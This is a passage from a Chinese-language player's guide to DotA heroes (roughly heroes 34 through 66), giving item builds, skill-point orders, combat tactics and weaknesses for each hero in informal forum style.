老爷爷的gank能力就可以完美体现\n上手简单\n弱点 血非常少 \n\n34山岭巨人\n法系 1-2 无用挂件 坚韧 跳刀 38后选择奥术 跳刀 飞鞋 林肯或者吹风 群补 不朽 心 辅助\n喜欢用40书也不错 不过操作很麻烦就是了 大根有爱好的也可以用 \n战系 出了坚韧 飞鞋 或者奥术飞鞋后刷钱就是了 然后出加攻击速度的 蝴蝶振奋振奋大炮。。疯狂面具也不错 \n\n这个英雄出什么装备不是重点 主要是使用的技术\n12先满然后点大 然后点3 37中大决可以增加投掷威力一定要升\n投掷可以砸塔 前期杀人方法就是过去把人扔塔下远程小兵处 一个崩晕了就是\n技能满了 用俩连可以杀很多贫血英雄\n有了跳刀之后就好定位了 跳过去把对方英雄扔回来 然后崩晕了就是一个kill 用好了可以扮作vs状\n或者把开了大的sven或者炸弹之类的凶器扔过去也是好办法 省跳刀了 或者把敌人扔进自己盟友的埋伏圈 把对方冲上来的肉盾直接扔回去- -\n这个英雄玩好了靠想象力可以完成很多组合技 比如扔到遥控炸弹上 然后轰- -\n上手一般\n弱点 防低 俩连之后很无力\n\n35 哥布林工程师\n自杀系出门买鞋 然后自爆抢1血- - 物品奥术指环 37版本之前的只能用n个虚无宝石或者风仗\n地雷系出门小面具+3回蓝药水 出门升地雷 也有回城+7回蓝出门的ws打法 快速到达前线然后埋3地雷 一般能抢到1血\n我的技能方法是 1 3 1 2 1 u 1 2 2 2 u 333\n前期地雷放在野外 遥控放在大路 后期全场放遥控和晕杆\n这个英雄想玩好了需要 很久的练习 和你对dota地图地形的掌握 具体的我就不说了\n玩这个总是被人各种骂 非常有意思\n上手 难 \n弱点 太容易死 对方带宝石 雷能发挥的用处就少了很多\n\n36 圣骑士\n法系 鞋 群补 圣殿38后出奥术 hod 死灵书 刷新\n战系 大根 暗灭 大炮 \n技能法系 3 2 3 1 3 u 3 111 u 222\n法系就是多带宝宝拉 如果盟友很多法师 前期找到人马 熊 大萨就可以进攻了 值得一提的是2级狗头人首领的加速光环相当imba\n2级带一个会技能的宝宝很容易抢1血\n如果后期多就用这个法 多去打钱 然后招大萨 用1-2乌鸦hod招 招了放家里 到最后push的时候\n可以带着8个左右大萨出门 冲击波齐射 俩下就是一个塔一个兵营\n战系的威力比法系差的远 只给没有操作能力的人用 2 1 2 3 2 u 2 1 1 1 u\n战系利用1技能和2技能的叠加再加大根能造成很多伤害 升一级3就是为了带一个会踩地或者冲击波的\n1个怪还是比较好操作的 如果一点都不想带就不用加了 大根可以升级\n暗灭和1技能可以叠加 能造成很可怕的伤害\n你要是开始玩这个英雄 需要对野外刷怪点的知识 以及眼睛战的经验 \n能玩这个也说明你有一定实力了 \n战系显然远没有法系好用\n一个玩的好的圣骑士+盟友配合可以迅速push 我记得我有一次9级就在推寒冰王座了\n用小鸡bug可以用一只小鸡买一只怪- -具体我就不介绍了 因为是bug\n641开始 由于光环和大sa的冲击波波无法攻击建筑物 所以chen被大幅度削弱\n上手 难 操作很麻烦\n弱点 点金手 眼睛 血少 \n\n黎明酒馆\n\n37兽王\n现在兽王真是春天到来拉 32版的垃圾英雄到了37变得异常强悍 团p中常常出现\n物品ih cw就出虚无 40书 不朽\n路人 虚无 飞鞋 先锋 可以刷辉耀 然后冰眼 大炮 蝴蝶\n也可以双刀 晕锤走速度路线\n技能 2 1 1 2 1 1 2 2 + u 3333u\n1技能可以伐树 - -用法要练练 不是很好掌握 刷钱速度不错 2技能非常imba 鹰的视野又大自己还隐形=无限侦查的眼 可以防止gank和反gank \n配合沉默术士 可以让沙王一辈子放不出大 猪的减速很明显 大决cd非常快 而且眩晕时间长 杀一些脆皮英雄非常合适\n兽王有了大就多去配合杀人 多发动gank 反正有飞眼 追杀简单\n上手一般\n可以使用hod流\n弱点 无明显弱点 整体正面dps输出较弱\n\n38双头龙\n成长非常高 非常厉害的法师 团p场场都上\n飞鞋 虚无 38后用奥术指环 先锋 linken或者冰眼 不朽 \n刷新和跳刀其实我觉得也不错 但是我没用过 有空一定要试试看\n大根 吹风 妖刀有爱好的可以出 40书也不错\n技能 12互点有大加大 然后都加黄点\n1技能非常bt 2技能到了38变得巨块 更加bt 3技能是dota最废技能之一 最后用来刷刷钱吧\n大决相当强力 不要拘泥于12u的法术释放顺序\n先放大然后冰冻再冰火更加有威力\n上手简单\n弱点 前期无明显弱点 后期单条乏力\n\n39练金术士\n辉耀飞鞋几乎是唯一的打法 然后心 散失 转分身是个不错的选择 蝴蝶冰眼什么的随便出\n这个英雄相当有钱 喜欢什么出什么吧 堆心或者出攻击速度的都不错\n到了6级抗压能力就显出来了\n技能 3 1 3 2 3 u 3 1 1 1 u 2 2 2 或者 1 3 3 1 1 u 1 3 3 2u\n大决不耗魔少回血块 减少攻击间隔 增加血量\n出几颗心后 肉盾的出奇 反正打起来我最不爱打他。。\n1技能非常恶心- -守成很好用\n643练金被大幅度削弱\n上手简单\n弱点 无\n\n40白虎\n奥术 飞鞋 2-3圆环 冰眼 雷神 大炮 我就刷过这么多装备 感觉有了冰眼就很好用了\n后面理想 应该是蝴蝶或者不朽圣剑\n技能 2 1 1 3 1 u 1 2 2 2 3 3 3 u + u\n前期很缺魔 一般我会要求mid solo \n后期可以当辅dps\n流星雨会对进200范围的人再次攻击一次 尽量贴近了再用 眩晕箭就是练\n我练了三天左右 感觉就比较准了 经常射死隐形的>.< 三技能很好掌握就不说了\n大决可以救自己救别人 开始野战的时候用 团战撤退的时候用\n上手难\n弱点 血少 后期单条乏力\n\n休息下继续写天灾\n夜之酒馆\n\n41蛇法女妖 \nmedusa 38以后 我一般 奥术 先锋 电锤 雷神 然后剑盾 冰眼 第二把剑\n37里 貌似最好的打法就是飞鞋 剑盾 然后刷冰眼 继续出剑\n技能 13互点 有大加大 有电锤后加分裂箭 \n12技能很简单 3技能是蛇法的无敌技能 使蛇法变成超级肉盾 用先锋可以过滤掉小伤害\n减少魔法消耗 主要要先开盾再拿先锋 （放地上捡一次） 大决 gank 救人 无所不能\n同时可以对召唤单位造成伤害 可以帮助队友驱散很多debuff 又可以驱散大量对方buff\n如果对剑盾没兴趣就出 \n剑+分裂箭打钱非常快 同时蛇法非常扛 出剑也不好掉 s185楼的蛇法有80%都出暗灭\n不知道是个什么情况- - 我觉得暗灭并不适合她\n最近研究的打法是 奥术 飞鞋 电锤 雷神 有短棍卷轴后拆雷神 蝴蝶 再雷神 再拆了蝴蝶\n再雷神 冰眼或者linken 蝴蝶 原理不解释 早点升1 团战也不关1 靠的dps输出非常bt\n上手一般 需要熟练补刀 \n弱点是怕抽魔 \n\n42暗夜魔王\nns 著名虐菜英雄 杀noob非常好用。。\n初夜护腕1-2 鞋就可以出去杀人鸟 随后补上 假腿 先锋之类的初期装备 想出武器可以出电锤或者水晶剑散华之类的小件武器当然疯狂面具也不错 而且ns用疯狂面具有特殊效果\n但是我仍然推荐出斧子然后心 bkb 不朽 后期走肉盾路线 辉耀如果能出能给后期带来很多方便 如果杀人很快乐 可以出个晕锤更好的杀人\n即使到后期 有2技能的存在单挑仍然有一定优势 发展的好不好就看你前期能杀多少人\n我的技能路线如果压力很小就 1 3 留点 3 留点 u 1 3 3 2 u 2 2 2留俩个点是为了可以用1级1技能补怪 如果没有压力就不用留点了 快到\n6级的时候 稍微磨磨血 吃小净化药水补魔 到6级应该是白天 这时候直接开大 因为很少人会想到这点 应该可以直接作掉对方然后利用这段天黑\n时间再练一会 又回到白天 等真正的初夜到来时已经7-8级了 这样技能满了可以给自己杀人增加很多便利\n如果压力很大就别这么干了 说明对方不好惹 很容易杀不掉 光点3 留点点1 用1级1多收点小兵\n其他的技能都好说 大决的意思很多人误解 当变黑夜的时候实际时间是停止的 时钟不会动 等大决过去了 该什么时候还是什么时候 所以晚上用大决\n可以增加夜晚时间 在晚上有2级大决以上就直接用 可以加长黑夜 白天用可以偷袭 现在是个人都知道防ns用回城 看见带着回城的不要直接虚空\n有疯狂就比较好办 开疯狂然后上2技能然后直接追着打 等到血差不多了虚空 就算回城也来不及了\n上手简单\n弱点 前期solo太容易被压了 我经常看到夜魔被压得初夜只有4级-0-\n\n43骷髅王 \n刚开始玩不爱用 现在很常用的英雄 \n1-2护腕 辉耀 飞鞋 然后 心 振奋 冰眼 攻击力很高 还能吸血还能粘人 如果stun技能很多 就不用冰眼了 堆心或者出撒旦都不错 \n做肉盾别忘了出不朽 前期不好打出先锋再辉耀也可以 不过骷髅王前期还是很强势的 应该没人想惹\n技能 1 +互点 有大点大 4-5个黄点后加爆 有了武器再加吸血 \n如果想前期速攻 2-3无用 和疯狂面具 假腿 这么打前期就加出爆 杀人不错\n上手简单\n弱点 怕抽魔 \n\n44末日使者\n著名新手英雄 s18有一半的人都是用这个英雄起家的 功劳要归功于lx^^\ndoom有着变态的0.9的高敏捷成长 智力反而有2点多 真是可惜\n1-2护腕 飞鞋 辉耀 心 不朽 然后想出啥出啥- -\n\n记得以前lx写了个感想 我直接引过来用好了\n\nlx说：“末日是我最喜欢的英雄之一 中期（6级——12级）单杀无限牛比 不过要配远行和护腕 远行追人 护腕越塔 大招一出 必然杀人 但一般为获得经验要看见那pl的100时才往后退 而且现在对方队友变精 给一个大招后就不能肯定是你杀得了\n13级以后就要多利用远行和打钱的优势多多赚钱 一般走辉耀 心 不朽的路线 后期末日的攻速虽然较慢 但在装备的优势以及doom的长时间禁魔作用下 还是极巨威慑力的\n技能的运用也极其讲究\n升第三招 宁缺勿滥 第三招一定要根据对方的级别来升 一般为了配成对方英雄的级别的倍数我喜欢升级后留着不升 到后面一起加上\n第二招火毯其实是doom的奥义所在 升完1、3之后升二， 为撑属性可以买两个护腕，不加黄点，有远行的doom在3级毯的移动速度上500 很快的说”\n\n尽管lx的感想看上去无限noob 但是还是有些经验在里面\n\n其他值得一提的是6.40中doom成为首个能配a仗的力量英雄 a仗大决伤害2160 在6.41被降到 1800 但是仍然imbavA仗 刷新吧 除了潮汐其他人都很怕doom大决\n上手简单 好打钱 好杀人 \n弱点 后期疲软 \n\n45地穴刺客\n屠杀noob的英雄\n1护腕 大根 心 不朽或者冰眼 后期走肉盾或者反弹路线 当然出散失也不错 后期很穷\n我用他杀到18:0装备也只有2级大根和一个不朽一个宝石 不好出东西就升级大根或者出散华或者旋风\n技能 2 1 2 1 1 u 1 2 2 3 u 3 3 3 \n主要还是看技巧的英雄隐身 穿刺 抽魔 大根过程中能补多少普攻就补多少 先抽魔还是先穿刺看对方有没有强力技能\n另外就是不要拘泥于这套思路 先穿刺再抽魔然后大决也是可以的 小强显形的时候很多人不设防 就等着你隐性\n穿刺直接上就是了 团p野战更不要先大决 上来先穿刺抽魔 一但受到集中攻击就开大决 然后等战斗混乱找没人注意你的机会\n再大决 可以免去很多死亡 对抗小强一定开大声音 听见周围有疾风步的声音就赶紧走\n2技能前期非常恶心- -\n上手简单\n弱点后期单挑无力\n\n46鱼人守卫\n很强的英雄 gank很有力\n前期想杀人 1-2护腕 点金 先锋 假腿 就可以杀得很愉快 刷钱的话 辉耀飞鞋\n我个人认为鱼人前期很强势 不要 放过机会 多参加gank多杀人比较好 辉耀就免了 出个飞鞋还可以\n然后出心 大炮 bkb 等 特别不要出mkb 肉盾的话 鱼人不太合适 不过心 不朽之类的出就行\n有时候可能需要跳刀 另外出暗灭效果也不错- - \n技能 2 3 2 1 2 u 111 u 333\n冲刺是最棒的加速技能 很随意就上500 前期加满方便追杀 3技能先加一级 rp来了就晕一下也能帮不少忙\n大块放出来一般人都是负防..再加暗灭就很过分了 有视野追杀也特别方便 非常好用像 隐形刺客 骨弓之类的\n对鱼人没有半点反抗手段\n杀人开冲刺踩地大决打阿打不行再踩\n喜欢无限晕的 先锋 点金 假腿 晕锤 近战用晕锤出一个就够 多提高攻击速度\n能用hod流\n上手一般\n弱点 打钱能力低下\n\n47 痛苦女王 \nqop是我最喜欢的英雄 拆黑首选 \n精气 飞鞋 冰眼 是最常见的路线 效果也不错 之后如果对方限制多出林肯球 然后不朽 圣剑 第二把剑 \n女王会闪烁 出剑很值 但是如果对方沉默太多就算了 像暗夜魔王血魔这样的简直难受死 出妖刀 mkb 大炮吧~ 雷神也不错\n女王刷钱很快 全身神装很容易 如果要对付分身系或者大量脆皮法师和敏捷英雄 刷新A仗2个大决就可以瞬间造成1450点AOE伤害\nfarm装可以选择吹风 我玩过比较另类的 40书+散失 操作麻烦了点不过杀人很好用 其实很多法师都可以用40和散失的组合\n前期如果要疯狂杀人可以用大根 4连续技能非常bt\n技能 2 1 3 3 3 u 3 2 2 2 u +++的比较常见 如果你用大根的话 可以1级闪烁4级毒镖 达到秒杀效果 \n后则毒镖就一级就够 起个减速作用 杀人方法 闪烁 尖叫 毒镖 普攻 闪烁 再尖叫 大决\n刚到5级的时候 尖叫+毒镖+尖叫+普攻就能杀人\n女王出了冰眼后追杀无限强 和近战单挑请R&H可以无限放风筝 冰眼双刀可以和除了虚空之外的任何近战遛着打 就算是敌法也可以对付\n上手一般\n弱点 怕沉默 血非常少\n\n48 骷髅射手\n6.28的著名新手英雄 被逐渐削弱 以前的三级隐身都比现在的四级好用\n这不是一个新手可以用好的英雄 玩好骷髅可不是一件简单的事情\n我用的还是比较老的路线 mkb bkb 大炮 冰眼 蝴蝶 骷髅可以刷到很多钱 全身神装很简单 \n骷髅需要翻盘的时候就出剑 我喜欢出了bkb和mkb后开始杀人 \n技能 3 2 2 3 2 3 2 3 1 1 1 1 \n如果你带了大量回蓝药水 或者准备出坚韧 前期可以加大决\n属性流路线 linken和冰眼之后在剑盾 其实我不喜欢 我心中的骷髅就是攻击力的象征 在短短乱射中迅速偷袭对手然后疾风扬长而去\n无火箭路线 暗灭 路线 出了暗灭就去杀人 技能 3 1 3 1 1 3 1 3这种路线7级就有4级乱射 如果你很会用白箭补刀 能快速出暗灭 前期的4级乱射非常的可怕\n速攻路线几个幽灵挂件 技能3 2 2 3 2 1 1 1 1 3 3 就可以去偷袭了\n魔弓 速出妖刀 魔攻和属性流思想是一样的 开始就升大 走路用疾风 打怪用扫射 火箭开自动 掉血就用大 这样强生存能力 强打钱能力 为后期做准备\n妖刀骨头 强就强在有个限制技能 偷袭的时候 等你反应过来就变羊 这样不浪费乱射的火力 同时你白挨了三秒 心理就不一样了\n魔刀和属性流加法 3 2 2 3 2 u 2 3 3 1 u 1 1 1\n玩骨头请注意随时保证满血 因为满血其实都没多少. 疾风步cd没到一定不要显形！！ 切记这一点 很多新手都是被老鸟玩死的\n故意勾引你出来 出来一个stun 1，2秒内就秒掉你 能秒骨头的太多了 就算你显形能杀了他 cd没到也要耐心跟一会 除非你非常确定周围没其他人\n上手一般 新手慎用 \n弱点 血少的无人可挡 怕沉默 怕抽魔 怕眼睛 怕宝石 \n\n49虚空假面\n我很喜欢的英雄 拆黑不错\n装备 顺利就起辉耀 飞鞋 散失 蝴蝶 分身 血不够出心比较不错 攻击不够出大炮 然后刷新 这时候魔有1000多一点 刷新后开了分身就只够飞个二三次的了\ntimestop+分身 效果非常的imba 关于冰眼 由于近战 冰眼覆盖烧魔 虽然分身不能继承冰眼 出了冰眼分身也不能消魔了\n而烧魔非常的好用 分身后一次攻击消108点魔法 轻而易举就打得对方没魔逃命 某些英雄血长 而且有逃生技能 像水人 烧魔对水人这样的英雄非常好用 \ntimestop后就算没死也肯定被追死 如果没有这类英雄 冰眼是不错的选择 晕+冰冻+timestop任何人也跑不了出冰眼在辉耀飞鞋后再出\n有冰眼对刷新是个帮助 同时提高攻击力攻击速度 比心好的多 \n前期不顺利 就点金 散失 假腿 水晶剑 分身斧 大炮 蝴蝶 前期虚空用假腿效果很好 很容易连晕 \n很多人喜欢疯狂面具 疯狂单杀不错 但是我看见出了疯狂+晕锤的基本上只想笑 虚空这样有25%几率晕的还出什么晕锤 多加攻击速度就是连晕 \n出疯狂为了单杀然后配大炮不错 有timestop这样的天技 如何在timestop内直接ko敌人是最主要的 而不是在timestop后再去连晕追击 晕锤的dps实在太低了\n分身的dps输出直逼圣剑 是最好的选择 而后期开始push 你一个timestop就算罩到三人 开疯狂也很容易被剩下俩人秒杀 \n罩上敌方5人己方没人的称为逆天罩 罩上己方5人敌方没人的称为灭团罩 而qiqi就曾经精彩演绎罩上己方5人的灭团罩 其实在混战中开罩子非常危险\n很容易罩上自己人比对方还多 因为对方都有思想准备防着罩子 而己方人员都不设防 \n新手用罩子一定要深思手熟虑 别一出手就是灭团罩 一般逆天罩一出对方就是团灭 如果是刷新的那就更不用说了 以前团战 虚空都是由玩得最好的人用\n技能被压就 1 3 2 2 2 u 2 3 3 3 u 1 1 1 不被压 1 3 3 3 2 u 3 2 2 2 u\n技能1飞的时候无敌 我曾经一局用这招俩次躲开神灭斩 飞的时候会取消你的指令所以一定要落地后再点timestop 同时如果你被网冻之类的也可以飞 这也是唯一个能在被束缚后用的\n移动技能 蝴蝶的闪避可以和回到过去叠加 因为回到过去不是闪避 \n新手最好别用的英雄 \n弱点 需要长时间farm\n\n50 冥界亚龙 \nviper是现在越来越火的英雄 前期压制力极强\n我练习过很多次 虽然并不喜欢 我用亚龙直接要求中路solo\n物品 先锋 飞鞋 辉耀 心 剑盾 bkb \n也可以选择第一武器mkb假腿速攻 剑盾和心的顺序可以调 先锋和飞鞋也可以换 对面法师多第一武器出bkb也是不错的选择 前期杀人很顺装备就好出 我一次20分钟就飞鞋遗物了\n对于装备 其实有很多细节 第一装备先锋可以大大提高战斗力 但是下面出飞鞋其实很成问题 亚龙是一个前后强 中间弱的英雄 强起飞鞋会造成中期真空 \n一旦这时候敌人开始推就会很尴尬 这时候正在攒钱出主武器 但是亚龙团p中很容易死 很容易根本攒不出钱 就直接gg 这种情况我看录像还是我自己打\n都已经一万次阿一万次了虽然作为一名ganker出飞鞋无可厚非 但是如果你是主dps请你判断局势后再出 先武器以后再补飞鞋都可以\n技能 2 3 2 3 2 u 2 3 3 + u + + + + u 1 1 1 1 \n对亚龙一定要带回城 尤其是中路1v1 我有着相当多对抗亚龙的经验 到4级的时候一定用小鸡买回程 到5级亚龙就可以粘死人 到6一被粘上或者中毒镖就直接回城\n用法简单\n弱点 中期弱 打钱能力弱\n\n51复仇电魂\n现在很爱用 纯后期dps\n辉耀飞鞋 然后刷剑盾 冰眼这种打法很常见也很好用 问题就在于你出3800的速度 苹果tree当时死了几次 57分钟还刷出了辉耀飞鞋剑盾 足以说明问题\n我最近偏爱一种速度流打法 飞鞋 电锤 双刀 雷神 夜叉 有血 有攻 有farm能力 移动速度高达480 追击无敌 逃命也无敌 然后冰眼大炮 或者出剑盾都可以\n技能2 3 2 3 2 3 2 3 + 留点 u 请直接加出2级大 一级大 干扰补刀 2级的就比较好用了\n另一种 3 1 3 1 3 3 1 1 +u u 这么打请先出个先锋 保证一定血 这么打前期也有一定压制力 就看你喜欢了\n用法简单\n弱点 血少 需要farm\n\n52食尸鬼 \n-____________________-naix是著名矛盾英雄 力量英雄有4.05的敏捷成长\n物品 朴实无华的心和晕锤其实就很好用了 之后很多人堆心 出晕锤之类的 点金 心 晕锤\n我偏爱一种攻击流打法 点金飞鞋 散华 水晶剑 斧子 撒旦 大炮 爆一下血就能吸回好多 适合对方stun不多 特别是能破天神的要少 保证你一直能攻击 \n一直攻击就不会死 这种打法威力远比传统打法心晕锤强的多 但是用这种打法很重要一点就是要保证等级优势 有飞鞋多去打线上的怪 尽量少打野\n很多小狗一辈子就在打野 其实线上打远比打野强 能在线上就不要去打野 遇到危险天神+回城\n用法简单\n弱点血少得像妖怪一样 需要farm\n\n午夜酒馆\n\n53灵魂守卫\n我最爱用的敏捷英雄 拆黑首选英雄之一\n后期极其强悍 前期有吸血 可以保障持续能力\n物品 点金 2-3圆环 飞鞋 辉耀 冰眼 散失 卖点金 蝴蝶 分身 大炮 我一般这么出 也有时候用心代替大炮 魂守有换血不容易死 打个3800还是不难的\n技能 2 3 2 3 3 u 3 1 1 1 u 1 + 吸血二级一般就够用了 有时候对面压制力太强的话升3级4级也不是不行 总有人跟我说 前期不要吸血\n浪费点 这种话我都当空气 吸血撑线的能力是很强的 要是非不升那就算了 反正谁舒服谁知道 3技能可以增加一定血量 同时变远程\n前期如果对方都是远程有cd就变把 可以多打钱 分身 可以当眼睛之类的 前期打野也方便 后期就有一定的伤害输出 有了辉耀一个分身能清一处野 也能打n多小怪\n裸冰眼我不喜欢 出的太慢 同时没有飞鞋也不方便\n被压制也有出双刀的 - -反正我没用过 不过魂守本来后期就强 就算是双刀用起来也是很强的\n上手难\n弱点 血少 需要farm\n\n\n54 受折磨的灵魂\nTS是我很爱用的法师 非常好用\n后期很强悍 4个攻击技能 aoe十足\n物品 精气 飞鞋 镇魂 跳刀或者先锋 不朽 心 A仗 然后可以出妖刀或者林肯 或者继续出心\n技能 1 3 3 2 3 2 3 2 2 2 u u 1 1 1 或者 1 3 1 3 1 3 1 3 2 u u 2 2 2 或者 1 2 2 1 2 1 2 1 3 u u 3 3 3\n我都是用第一种 4个技能 第二招是物理伤害 4级有1500点伤害 都打在一个人身上不是开玩笑的 \n杀人就是晕了之后开2 和 大 一直追着跑 最后一个3结束\n上手难\n弱点 血少得都变态了 \n\n55 巫妖 \n新手爱用的英雄 前期压制很强 637削弱了不少 632压制之王的称号逐渐被人淡忘了\n物品 飞鞋 1-2护腕 群补 跳刀 镇魂 刷新 A仗\n净化刀 暗灭刀等贡献道具也可以出\n技能 3 1 1 3 1 u 1 3 3 2 u + + + solo技能 如果不solo第一技能就用nova把\n上来3技能先吃一个 第一波兵对方就肯定比你少了一个 然后多反补 确定等级优势\n大决用法就看你意识了 没什么可说的\n上手简单\n弱点 后期乏力 打钱能力低\n\n56 死亡先知\ndp 最近团战上的少了\n飞鞋 虚无 38后可以用奥术 先锋 不朽 心或者冰眼 吹风 妖刀 如果没有人出群补你就出一个 毕竟没坏处~\n技能 1 2 1 3 1 u 1 3 3 3 u 2 2 2\n死亡先知用起来很简单 技能都傻瓜式的 没什么可说的 死亡先知大决超强\n让自己扛就是王道 一直追着用大决烫就是了 大决拆建筑超级快 \n值得一说的是 开完大用隐刀追着也不错 ^^4级大沉默非常的imba。。\n上手简单\n弱点 血少 太依赖ult\n\n57 恶魔巫师\nlion我不爱用 因为太难看 控场技能很多\n精气 飞鞋或者跳刀 然后大根或者妖刀都是不错的选择 \n双闪电可以秒杀 妖刀可以双变接穿刺- -三个限制技能可以玩死人 钱不是很多 \n我并不喜欢A仗路线 因为A仗的死亡一指远没有神灭斩的威力 \n技能 1 3 1 3 1 u 1 2 2 2 u 2 我觉得俩及抽魔就足够前期消耗了 不过后期可以升到4 妖刀 妖术之中吸一下 很多法师的连招就放不出来了\n上手简单\n弱点 血有点少\n\n58剧毒术士\n我用这个前期总是能杀很多人 然后不管杀多少 后期都要吐出去。。 前期我杀到11 0超神 然后团战开始过了一会 我就 11 -5 最后 14 11 结束\n因为用这个杀人很容易上瘾忘记打钱 剧毒的敏捷成长还可以 发展的好可以当辅dps 不过一般的剧毒都是很穷的 有俩件大件装备就不错了\n作为ganker 飞鞋 1-2护腕 或者先锋很不错 我常常因为想冲辉耀后面老死 弄得最后只有辉耀和不朽 如果你装备路线是隐刀或者跳刀 可以避免很多死亡 \n穷的话出双刀 其实后期剧毒就是放个大就没用我常看见一些人push放了大就跑去打钱了 最后刷出圣剑-____________________-\n魔法路线非常的渣 尽管A仗剧毒新星有1296伤害甚至比神灭斩还高的伤害 但是实际上不需要这么多-0- \n技能 2 1 1 2 1 u 1 2 2 + u +++ 剧毒的三技能堪比双头的自动火球 这招攻击力后期打英雄不带掉血 前期 非常干扰补刀压线 还给人家送钱 就俩用处是赌路口和MF 自己进树林或者敌人进树林可以把口封住 \n7级时候一个1 一个大 喷俩下基本上大部分英雄都秒杀了\n上手简单\n弱点 血有点少 后期乏力\n\n59半人猛犸\n6.28的时候团p主力 现在被历史淘汰了\n不过猛犸一直在加强 现在8s的震荡波只要90mana造成300伤害 真的很bt\n前期可以虚无 跳刀 飞鞋 然后出辉耀可能很困难 可以用狂战斧刷钱 然后堆心或者刷新\n2技能3技能+狂战 轮几下一个波杀小兵还是不错的\n技能 1 + 1 + 1 u 1 + 2 2 u 2 2 3 3 u 3 3\n技能没什么可说的 有了跳刀用两极反转就很轻松了 要刷新的话魔不够刷二大可能都 要额外出旋风之类的+魔\n上手简单\n弱点 后期乏力\n\n60死灵飞龙\n632时候的亡灵团p王者 现在被淘汰了 由于以前团战的关系 我用的非常的多\n路人战死灵飞龙还是格外的强悍 能solo就一定要求solo solo与不solo 20分钟至少要差1000-2000的钱\n主要是打第一个3800 我最快在16分钟就打出了3800 也有被人压制 25分钟才出 如果你30分钟还没出遗物说明你补刀问题很大\n辉耀 飞鞋后堆心不错 或者一颗心后出剑盾 2-3心死灵龙一般人没打死自己就先死了 \n技能 2 1 2 1 2 u 2 1 1 3 u 3 3 3 12都不说 3技能的作用是先减少20%伤害把伤害反弹 是魔法伤害 自己只受到80%伤害 如果开bkb就不会受到反弹了\n死灵飞龙的幻影没有3技能的能力 不用YY了\n上手一般\n弱点 血少 需要时间farm\n\n61混沌骑士\n物理输出最高的英雄 后期非常的imba 同时间伤害输出是小naka的2倍多有人品战士之称 rp不好就不要用了 \n装备 顺利起辉耀是很难的 一般都会非常的压制混沌 不如先1-2护腕或者先锋 然后再起辉耀 能起辉耀飞鞋刷钱后期就非常bt了 后期可以堆心然后出分身斧\n穷的话就点金 双刀 假腿 也可以凑活用 混沌普跑的速度是最快的 325+远行=415再双刀就像小风儿一样飞了 \n我一般不去起辉耀 因为没什么必要 我更喜欢用混沌杀人 再者现在人看见混沌起辉耀都会立刻push 不给你机会刷钱 \n我的打法是 2无用 点金 飞鞋 散华 散失 然后心 分身斧 \n技能 1 2 2 3 2 3 3 3 u u 1 1 1 或者 1 2 2 1 2 1 2 1 3 u u 3 3 3 俩种第一种是1，2个爆就能杀 第二种是晕的时间长就能杀 都是看rp\n杀人方法 跳过去 晕 分身 醒了 接 净化 然后砍砍砍 砍不死第二招再跳几下就肯定死了 一般要11级才有大决 一级大威力太差 直接用2大不错 \n我玩过一种速攻打法 1 2 3 1 1 3 1 3 3 物品出的是 2无用 散华 疯狂面具 假腿 感觉也能杀些没有抵抗力的 跳就用一级作为偷袭用 然后靠疯狂的速度追杀\n如果娱乐就用用看吧 \n上手一般\n弱点 靠大决才bt 而大决cd3分钟 进攻就不能防守 拆塔就不能杀人\n\n62狼人\n追杀很强力的英雄\n装备 1-2护腕或者先锋 假腿 bkb 就能杀不少人了 然后堆心或者出辉耀 出撒旦也不错 双刀我不喜欢用\n当然辉耀飞鞋然后刷装备也适用 不过我用狼人更喜欢杀人 \n技能 1 3 1 3 1 u 1 3 3 2 u 2 2 2 杀人就是三条狼过去直接咬 orz\n有种打法是以前的不升招狼 3 2 3 2 3 u 3 2 2 早期用吼补刀 如何取舍就看你了 狼能重击 一些憎恶之类的很怕这个 \n不升真的很可惜 如果不升我建议一定出个晕锤 追杀会方便些\n上手简单\n弱点 无太明显弱点\n\n63 育母蜘蛛\n我第一个杀超神的英雄 \n装备 飞鞋或者假腿 先锋 然后bkb 就很强了 没必要用辉耀刷钱 刷钱可以用第一招 然后振奋或者大炮加攻击就很bt了 \n喜欢速度的可以出双刀\n技能 2 1 1 3 1 u 1 3 3 3 u 2 2 2\n1技能压制力很强 耗魔少 能刷钱 伤害高 没有不用的理由 \n有人说只加 2 3 光加 2 3的很容易最后追杀差一点杀不死 用蜘蛛走中间俩张网就可以罩住 比俩边好 \n同时不要太拉仇恨 如果被人插眼就混不下去了 看见对面带眼了 一定要把声音开大 听见插眼的声音 看他面朝的方向 往那方向放网就肯定能把眼睛\n探出来 bkb一定要先开 然后再开大 \n上手难\n弱点 怕眼睛 宝石 \n64幻影刺客\npa 传说中的4倍爆击 \n装备点金飞鞋 1-2幽灵或者直接起先锋 然后刷武器 双刀或者mkb或者雷神锤或者狂战斧 我比较喜欢雷神和狂战因为能刷钱 \n然后疯狂面具 跳进去开疯狂就是一顿打 - -尽管危险 可是非常男人 出撒旦的话就是为1v1作准备了 如果有狗这样的出撒旦也不错 \n如果上来能裸辉耀的话那就太顺利了 后面 剑盾 撒旦 出剑的pa一个红字至少1400\n对方火力过猛考虑bkb\n技能 2 1 2 3 2 u 3 3 3 u 毒镖一级减速就够 因为太耗魔 如果对面没有恢复性物品 你用4级镖压制也可以 \n不过要带回蓝药水 如果前期想杀人 可以出疯狂面具 先锋或者幽灵 假腿 双刀 11级后去杀人\n11级三倍爆已经小有威力 用疯狂1级2技能也可以 就靠疯狂的速度追 2 1 1 3 1 u 1 3 3 3 u\n上手难 需要一定farm能力\n弱点 前期弱 \n\n暮色酒馆\n\n65遗忘法师\n飞鞋后精气 大根 妖刀 死灵书都可以用 直接刷冰眼也可以\n有衰老用大根不错 妖刀提供一个限制也很强大就看你喜欢了 遗忘血少得可怜 一定要出几个护腕或者干脆买半兽人之斧 准备bkb\n技能1 2 1 2 1 u 3 3 3 u 3 2 2俩及衰老我用起来很舒服 如果对面是强压制力的法师 技能就 1 3 1 3 1 u 3 3 2 u \n棍子可以让任何法师抓狂 \n棍子 衰老 波 大根 妖术 吸血 衰老 波 一套连招 \n上手难 \n弱点 血少得接近神了\n\n66潮汐猎人 \n老用的肉盾 \n先锋 心 不朽 就是纯肉路线 \n如果不着急的话 前期可以出狂战斧刷钱 应该起不来辉耀飞鞋这样的高档装备 作为肉还是尽作肉的职责 把钱给别人去刷 用自己的垃圾装备吧\n跳刀如果有必要的话可以出 不过一般只有团战才用 然后就是刷新拉 刷新毁灭 -0- \n技能被压就 1 2 1 2 1 u 1 2 2 3 u 3 3 3 没有压力就 1 2 1 3 1 u 1 3 3 3 u 2 2 2 无乱如何前期升一级海妖外壳是很必要的\n4级2技能和先锋盾叠加 